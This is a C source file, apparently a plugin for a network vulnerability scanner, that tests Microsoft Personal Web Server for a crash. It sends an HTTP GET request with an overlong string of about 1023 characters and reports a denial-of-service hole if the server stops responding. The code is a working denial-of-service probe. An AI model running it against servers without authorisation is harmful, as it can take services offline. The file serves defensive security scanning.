/*
 * 
 * mspws
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "Microsoft Personnal Web Server"
#define DESC "\
It is possible to crash Microsoft Personnal Web Server by sending\n\
it a too long string\n\n\
Risk factor : medium/high"
#define COPYRIGHT "discovered by Gurney Halleck <gurneyh@ix.netcom.com>"
#define SUMM "performs a denial of service against MSPersonal Web Server"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{	
	if(host_get_port_state(args, 80)>0)
	{
	 char * buf = emalloc(1024);
	 char * msg;
	 int soc;
	 
	 memset(buf, 'X', 1023);
	 msg = emalloc(strlen(buf)+20);
	 sprintf(msg, "GET %s", buf);
	 efree(&buf);
	 if((soc = open_sock_tcp(args, 80))>0)
	 {
	  send(soc, msg, strlen(msg), 0);
	  close(soc);
	  if((soc = open_sock_tcp(args, 80))<0)
		post_hole(args, 80, 
"We could perform a denial of service against the remote\n\
web server using the Microsoft Personal Web Server attack.\n\
It may also be possible to execute commands remotely using the\n\
same kind of attack (buffer overflow)");
	 else socket_close(soc);
	 }
	 efree(&buf);
	}
	return(0);
}

